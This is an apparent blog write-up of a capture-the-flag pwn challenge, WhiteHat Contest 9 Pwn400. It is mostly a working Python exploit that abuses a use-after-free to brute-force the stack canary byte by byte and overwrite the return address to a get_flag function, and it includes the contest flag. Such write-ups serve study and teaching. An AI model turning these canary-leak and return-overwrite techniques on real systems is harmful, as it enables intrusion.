Nice challenge made by Suto with use-after-free bug.聽Download binary

Sadly, Peter and I solved it after the contest was finished. Our solution is leaking canary (blind). But Suto told me that there鈥檚 a better way to get flag, with only 2 queries! Wow, we鈥檙e still looking for it right now 馃榾

Btw, our first聽solution :

  1. Malloc (size > 0x400) and copy canary to heap . Then free it.
  2. Malloc a temp blocks (size < 0x400), to down-size distance to canary in step 1
  3. Malloc again , this time, we can reach canary and leak it easily

Sorry , i don鈥檛 have much time to explain. If you 鈥榬e stucking at any point, ask me below . Thank mate 馃檪

#WhiteHat Contest 9 - Pwn400 - Author : Suto
#Team : BabyPhD
#Chim + Peter Nguyen
#Blind leak canary

import socket
import time
from struct import pack, unpack

#stage 1 : use s1 = u#, s2 = #zzz - malloc(size > dest-canary-ebp) , then copy to heap and free
#stage 2 : use o<size> to malloc new size , decrease distance to canary (in heap - stage1)
#stage 3 : use s1 = u#charset# , s2 = charset to bruteforce canary

def send(s, m):
	s.send(m)
	#print "[SEND]", m

def recv(s):
	t = s.recv(4096)
	#time.sleep(0.2)
	#print "[RECV]", t
	return t

def stage1(ind_canary):
	#ind_canary == 0 : no need to bf (\x00)
	if ind_canary == 1: return ("sAsAsAsAu#", "AAAA#chim")
	if ind_canary == 2: return ("sAsAsAu#", "AAA#chim")
	if ind_canary == 3: return ("sAsAu#", "AA#chim")
	if ind_canary == 4: return ("sAu#", "A#chim")
	if ind_canary == 5: return ("u#", "#chim")
	if ind_canary == 6: return ("u#", "c#him")
	if ind_canary == 7: return ("u#", "ch#im")

def stage2():
	s1 = "o<765>a\xffa\xffa\xffb\x01"
	s2 = "b"*765
	return (s1, s2)



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('lab33.wargame.whitehat.vn',9400))
recv(s)

'''
#dest : 0x410
#cana : 0x8

s1 = "o<1034>a\xffa\xffa\xffa\xffa\x0c\x00\x01\x24\x01"
s2 = "a"*1032

#s1 = "o<5>a\x06"
#s2 = "a"*5

send(s, s1 + '\n')
recv(s)
send(s, s2 + '\n')
recv(s)
recv(s)
'''
canary = "\x00"
for i in range(7):
	print "[+] Brute canary Index %d" % (i+1)
	leng = 184+i+1

	#stage 1
	s1 , s2 = stage1(i+1)
	s1 += (leng+4-len(s1))*'R'
	send(s, s1 + '\n')
	recv(s)
	send(s, s2 +'\n')
	recv(s)
	recv(s)

	#stage 2
	s1, s2 = stage2()
	send(s, s1 + '\n')
	recv(s)
	send(s, s2 + '\n')
	recv(s)
	recv(s)

	#stage 3
	
	t = False
	for c in range(1,256):
		if c==0x0a or c==ord('#'): continue

		s1 = 'u#' + chr(c) * leng + '#'
		s2 = chr(c) * 200

		send(s, s1 + '\n')
		recv(s)
		send(s, s2 + '\n')
		recv(s)
		text_response = recv(s)
		if text_response.count('Match')>=2:
			print "\t", hex(c), "NOPE"
		else:
			print "\t", hex(c), "YEP"
			t = True
			print text_response
			break

	if t==True:
		canary += chr(c)
		if i==6:
			print "[+] Final canary = ", hex(unpack("<Q", canary)[0])
	else:
		print "[-] BruteSession Failed. Restart Please !"
		break


#Ok, after get canary , easily to rewrite stack to return get_flag funtion

print "[+] Getting flag"

s1 = "o<1056>a\xffa\xffa\xffa\xffa\x0c" #Chunk size to canary = 1032
#write canary to payload
s1 += '\xff\x01'
s1 += canary[1] + '\x01'
s1 += canary[2] + '\x01'
s1 += canary[3] + '\x01'
s1 += canary[4] + '\x01'
s1 += canary[5] + '\x01'
s1 += canary[6] + '\x01'
s1 += canary[7] + '\x01'
#write trash ebp and get_flag return address
s1 += 'a\x08\x56\x01\x08\x01\x40\x01\xff\x05' #getflag = 0x400856

s2 = "hihihi"
send(s, s1 + '\n')
recv(s)
send(s, s2 +'\n')
t1 = recv(s)
t2 = recv(s)
t3 = recv(s)
t4 = recv(s)

print '[+]', t1
print '[+]', t2
print '[+]', t3
print '[+]', t4


s.close()

#Flag = WhiteHat{f48ce11fe0c8873c11008c1f4c89391c6e6dea4f}

Flag is WhiteHat{f48ce11fe0c8873c11008c1f4c89391c6e6dea4f}

Run binary at local for testing

socat tcp-l:1337,reuseaddr,fork exec:"./pwn400"
#install socat: sudo apt-get install socat